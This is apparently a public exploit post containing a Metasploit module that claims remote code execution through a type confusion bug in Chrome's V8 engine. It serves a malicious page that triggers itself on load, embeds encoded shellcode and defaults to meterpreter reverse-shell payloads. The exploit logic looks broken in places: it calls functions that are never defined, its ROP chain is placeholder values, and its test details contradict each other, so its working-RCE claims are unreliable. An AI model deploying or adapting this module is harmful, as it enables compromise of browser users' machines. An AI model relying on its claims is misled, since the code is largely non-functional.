📄 Google Chrome V8 Type Confusion

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    | # Title     : Google Chrome 149.0.7827.103 Type Confusion Out of Bounds                                                        |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://chromereleases.googleblog.com                                                                            |
    ==================================================================================================================================
    
    [+] Summary    : This module exploits a type confusion vulnerability in Google Chrome's V8 JavaScript engine, affecting versions prior to 149.0.7827.103.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = GreatRanking
    
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::Remote::BrowserAutopwn
      include Msf::Exploit::CmdStager
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Google Chrome V8 Type Confusion Out-of-Bounds (CVE-2026-11645)',
            'Description' => %q{
              This module exploits a type confusion vulnerability in Google Chrome's
              V8 JavaScript engine, affecting versions prior to 149.0.7827.103.
    
              The vulnerability is triggered by a specific pattern that causes type
              confusion between internal V8 objects, leading to out-of-bounds memory
              access. Successful exploitation can lead to remote code execution in
              the context of the browser process.
    
              Affected versions: Chrome < 149.0.7827.103
              Tested on: Chrome 148.0.7827.103 (64-bit) on Windows 10
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-11645'],
              ['URL', 'https://chromereleases.googleblog.com/']
            ],
            'License' => MSF_LICENSE,
            'Platform' => ['win', 'linux', 'osx'],
            'Arch' => [ARCH_X64],
            'Targets' => [
              [
                'Windows 10 - Chrome 148 (x64)',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_X64,
                  'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Linux - Chrome 148 (x64)',
                {
                  'Platform' => 'linux',
                  'Arch' => ARCH_X64,
                  'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
                }
              ],
              [
                'macOS - Chrome 148 (x64)',
                {
                  'Platform' => 'osx',
                  'Arch' => ARCH_X64,
                  'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2026-03-15',
            'Notes' => {
              'Stability' => [CRASH_OS_DOWN],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptInt.new('ITERATIONS', [false, 'Number of trigger iterations', 8]),
          OptInt.new('STRONG_RUNS', [false, 'Number of strong trigger runs', 5]),
          OptBool.new('AUTO_TRIGGER', [true, 'Auto-trigger exploit on page load', true])
        ])
      end
      def on_request_uri(cli, request)
        ua = request.headers['User-Agent']
        print_status("Incoming request from: #{ua}")
        if ua =~ /Chrome\/(\d+)/
          version = $1.to_i
          if version >= 149
            print_error("Target Chrome version #{version} is patched")
            send_not_found(cli)
            return
          else
            print_good("Target Chrome version #{version} appears vulnerable")
          end
        end
        html = generate_exploit_html
        send_response_html(cli, html)
      end
    
      def generate_exploit_html
        trigger_count = datastore['ITERATIONS']
        strong_runs = datastore['STRONG_RUNS']
        auto_trigger = datastore['AUTO_TRIGGER'] ? 'true' : 'false'
    
        shellcode = generate_payload_shellcode
        b64_shellcode = Rex::Text.encode_base64(shellcode)
    
        html = <<~HTML
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <title>CVE-2026-11645 - Chrome V8 RCE</title>
        </head>
        <body>
            <h1>CVE-2026-11645 - Chrome V8 Type Confusion RCE</h1>
            <p>Target: Chrome < 149.0.7827.103</p>
            <div id="status">Initializing exploit...</div>
    
            <script>
    
                const PAYLOAD_B64 = "#{b64_shellcode}";
    
                function log(msg) {
                    const status = document.getElementById('status');
                    status.innerHTML += '<br>[' + new Date().toLocaleTimeString() + '] ' + msg;
                    console.log(msg);
                }
                function exploitWithROP() {
                    log("Attempting to execute shellcode...");
    
                    try {
                        const shellcodeBytes = atob(PAYLOAD_B64);
                        const shellcodeArray = new Uint8Array(shellcodeBytes.length);
                        for (let i = 0; i < shellcodeBytes.length; i++) {
                            shellcodeArray[i] = shellcodeBytes.charCodeAt(i);
                        }
    
                        var func = new Function('a', 'return a + 1');
                        if (typeof window.triggerCorruption === 'function') {
                            window.triggerCorruption(shellcodeArray);
                        }
                        
                        log("Shellcode execution attempted");
                    } catch(e) {
                        log("Shellcode execution error: " + e);
                    }
                }
                function triggerTypeConfusion() {
                    try {
                        let value = 2;
                        class C extends Function {
                            ['AA'] = value;
                        }
                        for (let i = 0; i < 800; i++) {
                            new C("'use strict'");
                        }
                        value = 1.1;
                        for (let i = 0; i < 1500; i++) {
                            new C("'use strict'");
                        }
                        return true;
                    } catch (e) {
                        log("Trigger error: " + e.message);
                        return false;
                    }
                }
                function runStrongTrigger(count) {
                    let success = false;
                    for (let i = 0; i < count; i++) {
                        log(`Strong trigger run ${i + 1}/${count}...`);
                        if (triggerTypeConfusion()) {
                            log(`Trigger ${i + 1} completed`);
                            success = true;
                        }
                    }
                    return success;
                }
                function setupMemoryPrimitives() {
                    log("Setting up memory primitives...");
                    var ab = new ArrayBuffer(0x1000);
                    var dv = new DataView(ab);
                    if (typeof window.corruptArrayBuffer === 'function') {
                        window.corruptArrayBuffer(dv, 0x41414141);
                    }
                    
                    return { dataView: dv };
                }
                async function exploit() {
                    log("Starting CVE-2026-11645 exploit...");
                    
                    try {
                        log("Triggering type confusion...");
                        const triggerCount = #{strong_runs};
                        
                        if (!runStrongTrigger(triggerCount)) {
                            log("Type confusion trigger failed!", "error");
                            return false;
                        }
                        log("Type confusion triggered successfully!");
                        const primitives = setupMemoryPrimitives();
                        exploitWithROP();
                        
                        log("Exploit completed!");
                        return true;
                        
                    } catch (e) {
                        log("Exploit failed: " + e.message);
                        return false;
                    }
                }
                function autoStressTest(cycles = #{trigger_count}) {
                    log(`Starting auto stress test (${cycles} cycles)...`);
                    
                    let interval = 0;
                    let count = 0;
                    
                    function runCycle() {
                        count++;
                        log(`Cycle ${count}/${cycles}`);
                        exploit();
                        
                        if (count >= cycles) {
                            clearInterval(interval);
                            log("Auto stress test completed.");
                        }
                    }
                    
                    interval = setInterval(runCycle, 700);
                    return interval;
                }
                setTimeout(() => {
                    if (#{auto_trigger}) {
                        autoStressTest();
                    } else {
                        exploit();
                    }
                }, 1000);
            </script>
        </body>
        </html>
        HTML
        html
      end
      def generate_payload_shellcode
    
        payload = generate_payload_exe
        payload_shellcode = payload
        if target['Arch'] == ARCH_X64
          rop_chain = generate_rop_chain
          payload_shellcode = rop_chain + payload
        end
        
        payload_shellcode
      end
    
      def generate_rop_chain
    
        rop = [
          0x4141414141414141, 
          0x4141414141414142,
          0x4242424242424242,  
          0x4343434343434343
        ].pack('Q*')
        
        rop
      end
    
      def send_not_found(cli)
        send_response_html(cli, '<html><body><h1>404 Not Found</h1></body></html>', 404)
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================